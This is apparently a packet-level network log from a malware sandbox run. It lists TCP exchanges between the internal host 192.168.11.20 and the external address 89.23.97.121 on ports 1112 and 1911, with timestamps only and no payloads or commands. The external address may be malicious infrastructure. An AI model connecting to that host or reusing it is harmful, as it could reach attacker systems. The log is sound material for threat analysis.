Jan 8, 2025 11:24:37.233552933 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.234096050 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.234102964 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.234424114 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.234432936 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.235013962 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.235302925 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.235527039 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:37.235699892 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:37.235851049 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:37.500165939 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.500384092 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.500710011 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.500757933 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.501080990 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.501293898 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.501610041 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.501851082 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.502069950 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.502119064 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.502619982 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.502629042 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.503092051 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.503614902 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.504292965 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.504378080 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.504599094 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.505249977 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.505461931 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.505553961 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.505759954 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.505768061 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.506330967 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.506340981 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.506900072 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.507230043 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.507873058 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.507971048 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.508217096 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.508424044 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.508881092 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.511641979 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.512018919 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:37.783235073 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:37.783859968 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.059653044 CET	1112	49748	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.102293968 CET	49748	1112	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.106251001 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.379231930 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.379466057 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.380534887 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.661952019 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.662103891 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.662225962 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.662339926 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.662486076 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.662576914 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.662636042 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.662698030 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.662775040 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.662800074 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.662844896 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.662898064 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.662986994 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.662996054 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.663244963 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.935524940 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.935684919 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.935790062 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.935864925 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.935885906 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.935991049 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.936033010 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.936075926 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.936228991 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.936233044 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.936342001 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.936420918 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.936487913 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.936541080 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.936681032 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.936744928 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.936778069 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.936892033 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.937007904 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.937031031 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.937172890 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.937200069 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.937249899 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.937386036 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.937402010 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.937550068 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.937634945 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.937726021 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:38.937752962 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:38.937995911 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.208750010 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.208957911 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.209086895 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.209194899 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.209265947 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.209273100 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.209359884 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.209381104 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.209480047 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.209532022 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.209585905 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.209698915 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.209727049 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.209851980 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.209940910 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.210026026 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.210059881 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.210160971 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.210232973 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.210283041 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.210397005 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.210516930 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.210519075 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.210633993 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.210714102 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.210747957 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.210874081 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.210962057 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.210999966 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.211143017 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.211246967 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.211292982 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.211344957 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.211451054 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.211466074 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.211577892 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.211685896 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.211724997 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.211834908 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.211854935 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.211920023 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.212043047 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.212105036 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.212155104 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.212268114 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.212301016 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.212407112 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.212505102 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.212557077 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.212666988 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.212737083 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.212845087 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.212862015 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.212976933 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.213093042 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.213171959 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.213202953 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.213258982 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.213368893 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.213625908 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.482470036 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.482537985 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.482660055 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.482702971 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.482777119 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.482867956 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.482973099 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.483040094 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.483088970 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.483211040 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.483323097 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.483393908 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.483479977 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.483594894 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.483702898 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.483716965 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.483788967 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.483875036 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.483906031 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.484021902 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.484141111 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.484256029 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.484373093 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.484436035 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.484436035 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.484504938 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.484529972 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.484648943 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.484755993 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.484833956 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.484848976 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.484961033 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.485018969 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.485127926 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.485193968 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.485265970 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.485311985 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.485428095 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.485536098 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.485569000 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.485697031 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.485779047 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.485825062 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.485934973 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.485980988 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.486006975 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.486131907 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.486215115 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.486244917 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.486363888 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.486471891 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.486485958 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.486632109 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.486655951 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.486799002 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.486856937 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.486972094 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.487034082 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.487095118 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.487108946 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.487219095 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.487298965 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.487359047 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.487412930 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.487534046 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.487620115 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.487653971 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.487796068 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.487910032 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.487998962 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.488116980 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.488230944 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.488267899 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.488267899 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.488363981 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.488382101 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.488492966 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.488586903 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.488634109 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.488768101 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.488786936 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.488833904 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.488940001 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.489010096 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.489058971 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.489171982 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.489231110 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.489340067 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.489407063 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.489521980 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.489556074 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.489669085 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.489682913 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.489799976 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.489875078 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.489991903 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.490001917 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.490123034 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.490292072 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.490384102 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.490497112 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.490634918 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.490689993 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.490761995 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.490761995 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.490761995 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.490820885 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.490971088 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.491005898 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.491038084 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.491158009 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.491261959 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.491276026 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.491334915 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.491389036 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.491509914 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.491595030 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.491621017 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.491765022 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.755538940 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.755656958 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.755733967 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.755867004 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.755882978 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.755960941 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.756117105 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.756134987 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.756227016 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.756283045 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.756314993 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.756432056 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.756515980 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.756551027 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.756670952 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.756788969 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.756850958 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.756916046 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.756982088 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.757046938 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.757153034 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.757251978 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.757324934 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.757376909 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.757435083 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.757483959 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.757611036 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.757739067 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.757788897 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.757875919 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.757953882 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.757987022 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.758101940 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.758187056 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.758304119 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.758318901 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.758429050 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.758505106 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.758536100 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.758609056 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.758662939 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.758781910 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.758888960 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.758970976 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.759023905 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.759087086 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.759162903 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.759239912 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.759355068 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.759365082 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.759469032 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.759529114 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.759640932 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.759715080 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.759829044 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.759854078 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.759964943 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.760015965 CET	49749	1911	192.168.11.20	89.23.97.121
